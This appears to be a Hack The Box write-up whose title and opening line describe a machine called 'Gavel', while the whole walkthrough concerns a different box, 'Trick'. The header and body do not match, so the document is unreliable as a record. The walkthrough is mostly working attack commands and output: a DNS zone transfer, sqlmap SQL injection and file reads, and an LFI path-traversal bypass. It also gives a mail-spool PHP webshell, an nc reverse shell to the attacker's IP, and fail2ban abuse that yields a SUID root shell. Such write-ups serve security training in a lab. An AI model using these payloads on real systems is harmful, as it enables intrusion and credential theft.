HTB: Gavel Writeup
Gavel is a medium Linux machine featuring an exposed .git repository, a creative backtick-based SQL injection, PHP rule code execution via an admin panel, and a custom YAML-driven privilege escalation.
Trick is an easy Linux box that chains together several classic web and network techniques. The attack surface starts with DNS - a zone transfer leaks a virtual host running a payroll application. That application is injectable, and sqlmap lets us extract credentials and read arbitrary files from the server. One of those files is the nginx configuration, which reveals a second virtual host with a local file inclusion vulnerability. Combining the LFI with SMTP access, we poison michael’s mail spool to drop a PHP webshell and catch a shell as that user. On the way to root, we find that michael can restart fail2ban as root and that his group has write access to the action configuration directory - so we swap out the ban action to create a SUID copy of bash, trigger a ban by hammering SSH, and walk out as root.
Starting with a service version scan across the common ports:
$ nmap -sCV -p- 10.129.227.180
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp open smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Four ports: SSH on 22, something on 25 that isn’t returning a proper banner yet, DNS on 53, and nginx on 80. Port 53 being open on a web box is always interesting - it’s worth checking whether the DNS server will hand over a zone transfer.
With a running DNS service and the domain name trick.htb (in this case I just guessed, since this a common HTB pattern), a zone transfer is the first thing to try. If the server is misconfigured to allow AXFR requests from any source, we get a full dump of every DNS record in the zone:
$ dig axfr trick.htb @10.129.227.180
; <<>> DiG 9.20.20-1-Debian <<>> axfr trick.htb @10.129.227.180
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
The server accepts the AXFR request without authentication and returns the full zone. The record that matters is preprod-payroll.trick.htb - a subdomain that wouldn’t have shown up in a normal wordlist fuzz because it’s a CNAME entry rather than an A record pointing somewhere public. Added preprod-payroll.trick.htb to /etc/hosts and browsing over reveals a payroll management login page.
The login form at http://preprod-payroll.trick.htb/login.php doesn’t accept obvious default credentials. Before going manual, it’s worth pointing sqlmap at the login endpoint to check whether the username parameter is injectable. Using --risk 3 --level 5 expands the test surface beyond the defaults:
$ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' \
-X POST \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
-H 'Cookie: PHPSESSID=405fjbepqgq96u7s79a67gm1fe' \
--data-raw 'username=admin&password=admin' \
--risk 3 --level 5 --batch --flush-session
<SNIP>
[INFO] POST parameter 'username' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT)' injectable
[INFO] POST parameter 'username' is 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
<SNIP>
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: username=admin' OR NOT 9291=9291-- hNTO&password=admin
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=admin' OR (SELECT 8917 FROM(SELECT COUNT(*),CONCAT(0x7171717a71,(SELECT (ELT(8917=8917,1))),0x716b7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tvfq&password=admin
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 3318 FROM (SELECT(SLEEP(5)))TjuV)-- frAx&password=admin
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
Three injection types confirmed: boolean-blind, error-based, and time-based. MariaDB backend. From here we can enumerate the databases:
$ sqlmap 'http://preprod-payroll.trick.htb/ajax.php?action=login' \
-X POST \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
-H 'Cookie: PHPSESSID=405fjbepqgq96u7s79a67gm1fe' \
--data-raw 'username=admin&password=admin' --dbs --batch
available databases [2]:
[*] information_schema
[*] payroll_db
There’s a payroll_db. Drilling into it to find the tables:
$ sqlmap ... -D payroll_db --tables --batch
Database: payroll_db
[11 tables]
+---------------------+
| allowances |
| attendance |
| deductions |
| department |
| employee |
| employee_allowances |
| employee_deductions |
| payroll |
| payroll_items |
| position |
| users |
+---------------------+
The users table is the obvious target. Dumping the username and password columns:
$ sqlmap ... -D payroll_db -T users -C username,password --dump --batch
Database: payroll_db
Table: users
[1 entry]
+------------+-----------------------+
| username | password |
+------------+-----------------------+
| Enemigosss | [REDACTED] |
+------------+-----------------------+
One user with a plaintext password. Credentials noted, though the real prize here turns out to be the file read capability that comes with the injection.
MariaDB’s LOAD_FILE() function allows reading arbitrary files from the server filesystem when the database user has the FILE privilege. sqlmap exposes this cleanly through --file-read. First, /etc/passwd to map out system users:
$ sqlmap ... --file-read=/etc/passwd --batch
<SNIP>
michael:x:1001:1001::/home/michael:/bin/bash
One interactive user account: michael. Now the nginx configuration to understand what virtual hosts are running:
$ sqlmap ... --file-read=/etc/nginx/sites-enabled/default --batch
$ cat ~/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_nginx_sites-enabled_default
server {
listen 80 default_server;
server_name trick.htb;
root /var/www/html;
<SNIP>
}
server {
listen 80;
server_name preprod-marketing.trick.htb;
root /var/www/market;
index index.php;
<SNIP>
fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
}
server {
listen 80;
server_name preprod-payroll.trick.htb;
root /var/www/payroll;
index index.php;
<SNIP>
}
A third virtual host: preprod-marketing.trick.htb. Two things stand out immediately: its web root is at /var/www/market, and crucially, it runs PHP through a socket named after michael - php7.3-fpm-michael.sock - which means PHP processes on that vhost run as michael, not www-data. Adding preprod-marketing.trick.htb to /etc/hosts and navigating over shows a simple marketing site.
The URL structure of the marketing site immediately catches the eye:
http://preprod-marketing.trick.htb/index.php?page=contact.html
A page parameter loading file content is textbook LFI territory. Confirming with lfimap:
$ python3 lfimap.py -U 'http://preprod-marketing.trick.htb/index.php?page=contact.html' \
-t -x --lhost 10.10.14.24 --lport 9000
[+] LFI -> 'http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd'
The traversal pattern ....// works because a naive blacklist might strip ../ once, leaving ../ behind when the doubled dots collapse. Standard path traversal sanitization bypass. The file is included and its contents rendered.
The LFI alone doesn’t give code execution - the application is including files and rendering them as PHP, but there’s no obvious file upload path. What we do have, though, is a listening SMTP service on port 25.
The plan: inject a PHP webshell into michael’s mail spool at /var/mail/michael by sending him an email with a PHP payload in the body. Then use the LFI to include that file and trigger execution. Email on Linux systems is stored as plaintext in /var/mail/<username>, so the PHP interpreter will parse the entire file - headers, body, and all - and execute any <?php ... ?> blocks it encounters.
Sending the mail with swaks:
$ swaks --to michael \
--from attacker@example.com \
--server 10.129.227.180 \
--port 25 \
--data 'Subject: Test
<?php system($_GET["cmd"]); ?>'
=== Connected to 10.129.227.180.
<- 220 debian.localdomain ESMTP Postfix (Debian/GNU)
-> MAIL FROM:<attacker@example.com>
<- 250 2.1.0 Ok
-> RCPT TO:<michael>
<- 250 2.1.5 Ok
-> DATA
<- 354 End data with <CR><LF>.<CR><LF>
<- 250 2.0.0 Ok: queued as AEAAD4099C
The server accepted the delivery without requiring authentication. Verifying the webshell works by requesting a command through the LFI:
http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//....//....//....//....//....//....//var/mail/michael&cmd=ls%20-la
From attacker@example.com Fri Mar 20 15:30:15 2026
Return-Path: <attacker@example.com>
Received: from DESKTOP-P12DNFQ (unknown [10.10.14.24])
by debian.localdomain (Postfix) with ESMTP id AEAAD4099C
total 76
drwxr-xr-x 6 michael michael 4096 May 25 2022 .
drwxr-xr-x 5 michael michael 4096 May 25 2022 ..
-rw-r--r-- 1 michael michael 13272 Apr 16 2022 about.html
-rw-r--r-- 1 michael michael 7677 Apr 16 2022 contact.html
<SNIP>
Code execution confirmed. The mail headers are output as junk before the command output, but the PHP interpreter correctly finds and executes the system() call further down in the file. Upgrading to a reverse shell:
http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//....//....//....//....//....//....//var/mail/michael&cmd=nc%2010.10.14.24%20443%20-e%20/bin/bash
With a listener ready:
$ penelope -p 443
[+] [New Reverse Shell] => trick 10.129.227.180 Linux-x86_64 👤 michael(1001)
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
michael@trick:/var/www/market$ cd /home/michael
michael@trick:~$ cat user.txt
[REDACTED]
Shell as michael, user flag grabbed.
Checking what michael can run as root:
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User michael may run the following commands on trick:
(root) NOPASSWD: /etc/init.d/fail2ban restart
He can restart the fail2ban service as root without a password. By itself that’s not useful - but it becomes interesting if we can control what fail2ban does when it runs. Checking group membership:
michael@trick:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
The security group is non-standard. Finding what it owns:
michael@trick:~$ find / -xdev -group security -ls 2>/dev/null
269282 4 drwxrwx--- 2 root security 4096 Mar 20 15:45 /etc/fail2ban/action.d
The security group has full write access to /etc/fail2ban/action.d - the directory that holds fail2ban’s action configuration files. The path is clear: modify an action that fires on a ban event to run an arbitrary command as root (fail2ban itself runs as root), restart the service to load the new config, then trigger a ban.
The iptables-multiport.conf action is typically used for SSH banning. Opening it up and replacing the actionban line with a command to copy /bin/bash to /tmp/rootbash and set the SUID bit on it:
# Option: actionban
# Notes.: command executed when banning an IP.
#
actionban = cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash
With the modified action saved, restart fail2ban to load the new configuration:
michael@trick:/etc/fail2ban/action.d$ sudo /etc/init.d/fail2ban restart
Now we need to trigger a ban. fail2ban watches auth logs and bans IPs that exceed the configured failure threshold. Hammering SSH with repeated failed logins from our attacking machine will do it - hydra is the easiest way to generate the volume of failures needed quickly:
$ hydra -l michael -P /opt/SecLists/Passwords/days.txt ssh://10.129.227.180
After a few seconds of failed attempts, fail2ban picks them up, calls the actionban command as root, and /tmp/rootbash appears:
michael@trick:/tmp$ ls -la rootbash
-rwsr-xr-x 1 root root 1168776 Mar 20 17:32 rootbash
The SUID bit is set and the owner is root. Using bash -p (preserve privileges) to launch a shell that keeps the effective UID from the SUID:
michael@trick:/tmp$ ./rootbash -p
rootbash-5.0# id
uid=1001(michael) gid=1001(michael) euid=0(root) groups=1001(michael),1002(security)
rootbash-5.0# cat /root/root.txt
[REDACTED]